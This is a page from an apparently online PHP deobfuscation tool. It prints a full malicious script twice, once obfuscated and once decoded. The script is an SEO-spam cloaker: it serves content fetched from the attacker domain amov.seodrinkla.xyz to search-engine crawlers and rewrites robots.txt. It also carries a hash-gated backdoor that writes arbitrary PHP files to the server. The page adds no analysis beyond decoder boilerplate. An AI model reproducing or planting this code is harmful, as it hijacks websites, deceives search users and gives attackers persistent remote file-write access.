Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto VrySq; Tzd_M: $htmcontent = trim(dageget($web)); goto euw6d; m6hA4: $web = ..

Decoded Output download

<?php 
 
 goto VrySq; Tzd_M: $htmcontent = trim(dageget($web)); goto euw6d; m6hA4: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto Tzd_M; K5kYs: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto Jcow2; lQzk0: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto xGMMP; XRm6A: $http_web = "http"; goto u8JEr; xGMMP: $host = $_SERVER["HTTP_HOST"]; goto tk8Zl; H1mdo: $duri = urlencode($duri_tmp); goto TQdwL; VrySq: @set_time_limit(3600); goto a1KLS; zYPih: $duri_tmp = st_uri(); goto zLpxP; TQdwL: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto IIWTI; a1KLS: @ignore_user_abort(1); goto CJLLH; vnN0Z: $lang = urlencode($lang); goto wfzQ5; wfzQ5: $urlshang = ''; goto E38Gx; Jcow2: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto B1x3o; IIWTI: $goweb = $xmlname . ".seodrinkla" . ".xyz"; goto lQzk0; E38Gx: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto BdGDa; tk8Zl: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto vnN0Z; BdGDa: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto m6hA4; euw6d: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto GOyEP; CJLLH: $xmlname = "amov"; goto XRm6A; GOyEP: function pingmap($url) { $url_arr = explode("
\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto K5kYs; zLpxP: if ($duri_tmp == '') { $duri_tmp = "/"; } goto H1mdo; u8JEr: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto zYPih; B1x3o:  
 
 //uw030  ?>

Did this file decode correctly?

Original Code

<?php

 goto VrySq; Tzd_M: $htmcontent = trim(dageget($web)); goto euw6d; m6hA4: $web = $http_web . "\x3a\57\x2f" . $goweb . "\x2f\151\x6e\144\145\x78\156\x65\167\x2e\x70\x68\x70\x3f\167\x65\142\75" . $host . "\x26\x7a\x7a\75" . sbot() . "\46\x75\162\x69\75" . $duri . "\x26\165\x72\154\x73\x68\x61\156\147\75" . $urlshang . "\46\150\164\x74\160\75" . $http . "\x26\154\141\156\147\x3d" . $lang; goto Tzd_M; K5kYs: function sbot() { $uAgent = strtolower($_SERVER["\110\124\x54\120\137\125\x53\105\122\x5f\101\x47\x45\x4e\124"]); if (stristr($uAgent, "\147\157\157\147\154\145\142\x6f\x74") || stristr($uAgent, "\142\x69\156\147") || stristr($uAgent, "\171\141\150\157\x6f") || stristr($uAgent, "\x67\157\157\x67\x6c\145") || stristr($uAgent, "\x47\x6f\157\147\154\x65\x62\x6f\164") || stristr($uAgent, "\147\x6f\157\147\154\x65\x62\157\164")) { return true; } else { return false; } } goto Jcow2; lQzk0: function is_htps() { if (isset($_SERVER["\x48\x54\124\120\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\x53"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\x48\x54\124\120\x5f\x58\x5f\106\117\122\127\x41\122\104\105\104\137\120\122\117\124\117"]) && $_SERVER["\110\124\x54\120\x5f\x58\137\106\117\122\x57\101\122\104\105\104\137\120\x52\117\124\x4f"] === "\x68\x74\164\x70\163") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\137\x46\x52\x4f\x4e\x54\x5f\105\116\104\137\110\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\x54\120\137\106\122\x4f\116\x54\137\x45\x4e\104\x5f\x48\124\124\120\123"]) !== "\157\146\146") { return true; } return false; } goto xGMMP; XRm6A: $http_web = "\x68\x74\x74\160"; goto u8JEr; xGMMP: $host = $_SERVER["\110\124\124\x50\x5f\110\x4f\123\x54"]; goto tk8Zl; H1mdo: $duri = urlencode($duri_tmp); goto TQdwL; VrySq: @set_time_limit(3600); goto a1KLS; zYPih: $duri_tmp = st_uri(); goto zLpxP; TQdwL: function st_uri() { if (isset($_SERVER["\x52\105\121\x55\105\123\124\137\125\122\x49"])) { $duri = $_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\x52\111"]; } else { if (isset($_SERVER["\x61\x72\x67\166"])) { $duri = $_SERVER["\x50\110\120\137\123\105\x4c\x46"] . "\x3f" . $_SERVER["\x61\162\147\x76"][0]; } else { $duri = $_SERVER["\120\110\120\x5f\x53\x45\114\106"] . "\77" . $_SERVER["\121\125\105\122\x59\137\123\x54\x52\x49\x4e\x47"]; } } return $duri; } goto IIWTI; a1KLS: @ignore_user_abort(1); goto CJLLH; vnN0Z: $lang = urlencode($lang); goto wfzQ5; wfzQ5: $urlshang = ''; goto E38Gx; Jcow2: function dageget($url) { $file_contents = ''; if (function_exists("\143\165\x72\154\137\151\156\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto B1x3o; IIWTI: $goweb = $xmlname . "\56\163\145\157\144\162\151\156\x6b\154\141" . "\x2e\170\171\x7a"; goto lQzk0; E38Gx: if (isset($_SERVER["\x48\124\124\120\137\122\105\106\x45\122\x45\122"])) { $urlshang = $_SERVER["\x48\124\124\x50\x5f\x52\105\106\105\122\x45\122"]; $urlshang = urlencode($urlshang); } goto BdGDa; tk8Zl: $lang = @$_SERVER["\x48\x54\x54\120\137\x41\x43\103\105\120\x54\x5f\114\101\x4e\107\x55\101\107\105"]; goto vnN0Z; BdGDa: if (@$_GET["\160\144"] != '') { $add_content = @$_GET["\x6d\x61\160\156\x61\x6d\145"]; $action = @$_GET["\x61\143\x74\151\x6f\156"]; if (isset($_SERVER["\x44\117\103\x55\x4d\105\116\x54\x5f\122\x4f\117\124"])) { $path = $_SERVER["\x44\x4f\x43\125\115\105\x4e\x54\137\122\117\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\164"; } if ($action == "\x70\165\x74") { if (strstr($add_content, "\x2e\170\155\154")) { $map_path = $path . "\57\163\x69\164\145\x6d\141\x70\x2e\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\157\x62\x6f\x74\x73\x2e\164\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\x73\145\x72\x2d\141\x67\x65\156\164\x3a\x20\x2a\x41\154\x6c\x6f\x77\x3a\x20\57"; } $sitmap_url = $http . "\72\x2f\57" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\x72\x3e\163\x69\164\x65\155\x61\x70\x20\141\x6c\x72\x65\x61\x64\171\40\141\x64\144\x65\144\41\x3c\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\x53\x69\164\145\x6d\141\160\x3a\40" . $sitmap_url)) { echo "\74\x62\162\x3e\157\x6b\74\x62\162\76"; } else { echo "\74\142\x72\x3e\146\151\x6c\145\40\167\x72\151\164\x65\x20\146\x61\x6c\x73\x65\41\74\x62\162\76"; } } } else { echo "\x3c\x62\x72\76\x73\x69\164\x65\155\141\x70\40\156\x61\155\145\x20\x66\x61\154\x73\x65\x21\x3c\x62\x72\x3e"; } if (strstr($add_content, "\56\160" . "\150\x70")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\72\x2f\57" . $goweb . "\57\x61\x2e\160" . "\150\160") || $b == "\70\60\70\67\63\65\x62\x31\x37\143\70\71\64\63\x65\63\x37\61\65\x33\70\x38\x39\65\x38\144\143\x32\x32\x64\x38\67\71\141\70\x63\71\145\141\x61") { $dstr = @$_GET["\x64\163\164\x72"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\x6b"; } } } } die; } goto m6hA4; euw6d: if (!strstr($htmcontent, "\x6e\x6f\x62\x6f\164\x75\x73\145\162\141\147\x65\156\x74")) { if (strstr($htmcontent, "\x6f\x6b\150\164\x6d\x6c\x67\145\164\143\157\x6e\164\x65\156\x74")) { @header("\103\157\x6e\164\145\156\164\55\x74\x79\160\145\72\x20\164\145\170\164\57\x68\164\x6d\154\73\x20\x63\150\141\162\163\145\164\x3d\165\164\146\x2d\x38"); $htmcontent = str_replace("\x6f\x6b\x68\x74\x6d\154\x67\x65\x74\143\157\x6e\164\145\x6e\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\x6b\170\155\x6c\147\145\x74\143\x6f\156\164\x65\156\x74")) { $htmcontent = str_replace("\157\x6b\x78\155\x6c\x67\145\x74\x63\x6f\156\x74\x65\x6e\x74", '', $htmcontent); @header("\103\x6f\156\x74\x65\x6e\164\55\164\171\160\145\72\40\164\x65\x78\x74\x2f\170\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\x6e\x67\x78\155\x6c\x67\145\x74\x63\157\x6e\164\x65\x6e\164")) { $htmcontent = str_replace("\160\x69\156\147\x78\155\154\147\x65\x74\143\x6f\x6e\164\x65\156\x74", '', $htmcontent); @header("\x43\157\x6e\x74\x65\x6e\x74\x2d\164\x79\160\145\72\x20\x74\145\x78\x74\x2f\150\164\155\x6c\73\x20\x63\x68\141\x72\163\145\x74\x3d\165\x74\x66\55\70"); echo pingmap($htmcontent); die; } } } } goto GOyEP; CJLLH: $xmlname = "\141\x6d\157\x76"; goto XRm6A; GOyEP: function pingmap($url) { $url_arr = explode("\15\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\x69\164\x65\155\x61\160\40\x4e\x6f\164\151\146\x69\x63\x61\164\151\x6f\156\40\x52\145\x63\x65\151\x76\x65\x64") !== false ? "\160\x69\156\x67\157\153" : "\x65\x72\162\157\x72"; $return_str .= $pingUrl . "\x2d\55\x20" . $ok . "\74\x62\162\x3e"; } return $return_str; } goto K5kYs; zLpxP: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto H1mdo; u8JEr: if (is_htps()) { $http = "\150\164\x74\x70\163"; } else { $http = "\x68\164\164\160"; } goto zYPih; B1x3o: 

 //uw030  ?>

Function Calls

None

Variables

None

Stats

MD5 9e92769aac9f989cb7782886215dab34
Eval Count 0
Decode Time 48 ms